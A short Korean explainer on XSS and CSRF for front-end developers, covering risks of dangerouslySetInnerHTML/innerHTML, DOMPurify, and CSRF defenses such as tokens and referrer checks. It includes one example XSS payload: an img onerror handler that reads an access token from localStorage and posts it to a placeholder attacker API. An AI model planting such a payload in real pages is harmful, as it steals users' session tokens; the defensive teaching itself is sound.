XSS
Cross-Site-Script(Scripting)
웹사이트에서 의도치 않은 스크립트를 넣어서 실행시키는 기법을 말합니다.
react의 dangerouslySetInnerHTML html의 innerHTML을 이용하면
웹에디터에 입력한 html 태그가 적용된 형태로 내용을 받아올 수 있습니다.
하지만 이러한 방식은 위험을 초래하는데요 그 이유는 XSS 공격의 취약하기 때문이에요
대표적인 예를 들면
<img src="#" onerror="
const aaa = localStorage.getItem('accessToken');
axios.post(해커API주소, {accessToken = aaa});
" />위와 같은 img태그에 onerror라는 속성을 더해,
해당 태그를 dangerouslySetInnerHTML 나 innerHTML 속성을 이용해 불러왔을 때 사용자에게서 중요한 정보를 빼내는 스크립트가 실행되도록 할 수 있습니다.
XSS 방지법
이러한 공격을 막는 방법중에 자동으로 차단해주는 라이브러리(Dompurify)가 있어요
CSRF
Cross-site request forgery
웹 어플리케이션 취약점 중 하나로 사용자가 자신의 의지와는 무관하게 침입자가 의도한 행위를 서버에 요청하게 만드는 공격입니다.
XSS는 클라이언트의 브라우저에서 발생하는 문제라면 CSRF는 서버에서 발생하는 문제입니다.
CSRF 예시
- Perpetrator(침입자)는 서버로 넘어가는 자금 전송에 대한 요청을 조작하려고 합니다.
- 침입자는 하이퍼링크에 자금 전송 요청에 대한 스크립트를 삽입하고 사이트에 로그인할 사람들에게 전송합니다.
- 사용자는 링크를 누르고, 의도치않게 서버로 요청을 보내게 됩니다.
- 서버는 로그인 되어있는 사용자의 요청이기 떄문에 정상으로 인식하고 침입자에게 돈을 전송합니다.
CSRF 방지법
-
Referrer 검증
request header에 있는 요청을 한 페이지의 정보가 담긴 referrer 속성을 검증하여 차단을 합니다. 개인 이메일에서 요청이 들어오는 것처럼 같은 도메인 상에서 요청이 들어오지 않는다면 차단해요. -
CSRF Token 사용
랜덤값을 사용자의 세션에 저장하고 모든 요청을 다 이 토큰을 이용해서 검증을해요. -
CAPTCHA 사용
로봇인지 아닌지 체크하는 바로 그 CAPTCHA에요. 이걸로 사용자가 의도한 요청인지 아니면 트리거로 동작하는지 걸러낼 수 있어요.
Reference
